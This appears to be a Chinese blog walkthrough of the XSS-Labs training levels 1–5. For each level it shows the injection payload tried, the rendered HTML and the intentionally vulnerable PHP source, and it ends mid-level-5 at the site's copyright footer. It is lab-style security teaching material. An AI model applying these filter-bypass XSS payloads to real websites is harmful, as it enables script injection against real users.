XSS-Labs(Level1-10)

XSS-Labs(Level1-10)

Level-1 简单尝试

使用基础poc<script>alert(1)</script>

XSS-Labs(Level1-10)

代码审计 <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>

发现一点过滤都没有,直接将name接收到的参数进行输出,导致弹窗

Level-2 简单尝试

构造POC:<script>alert(1)</script>,发现并没有弹窗,看一下前端回显部分源码

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form> 绕过分析

发现<h2>标签部分对$str进行了实体转化.htmlspecialchars(),所以尝试对<input>进行构造payload:"onclick="alert(1),当然这里用onnouseove=''也可以

<h2 align=center>没有找到和&quot; onclick=&quot;alert(1)相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value=""> <input type=submit name=submit value="搜索"/> </form>

XSS-Labs(Level1-10)

源码审计 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'">//这里直接将$str进行输出,仍然没有进行过滤,可能这样对我这种小白比较友好吧..... <input type=submit name=submit value="搜索"/> </form> </center>'; ?> Level-3 简单尝试

构造POC"onclick="alert(1),发现并没有触发xss,查看一下前端源码

<h2 align=center>没有找到和&quot; onclick=&quot;alert(1)相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='&quot; onclick=&quot;alert(1)'><!--原来是对$str进行了实体编码,所以我们重新构造payload--> <input type=submit name=submit value=搜索 /> </form> 绕过分析

双引号被转移,所以使用单引号绕过,payload:'onclick='alert(1)

XSS-Labs(Level1-10)

源码审计 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'>//此处对单引号进行转移 <input type=submit name=submit value=搜索 /> </form> </center>"; ?> Level-4 简单尝试

构造poc:"onclick="alert(1),成功弹窗

<h2 align=center>没有找到和&quot;onclick=&quot;alert(1)相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value=""onclick="alert(1)"> <input type=submit name=submit value=搜索 /> </form>

XSS-Labs(Level1-10)

源码审计

这和上一个level有什么不一样嘛?打开源码才知道....

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); //只是对<>进行过滤,奈何咱们没用<>,嘿嘿 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> Level-5 简单尝试

???怎么又是input标签?尝试一下上一关的poc"onclick="alert(1),发现并没有成功

<h2 align=center>没有找到和test&quot;onclick=&quot;alert(1)相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"o_nclick="alert(1)"><!--发现这里是对on进行了替换:on->o_n--> <input type=submit name=submit value=搜索 /> </form> 绕过分析

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwwjfz.html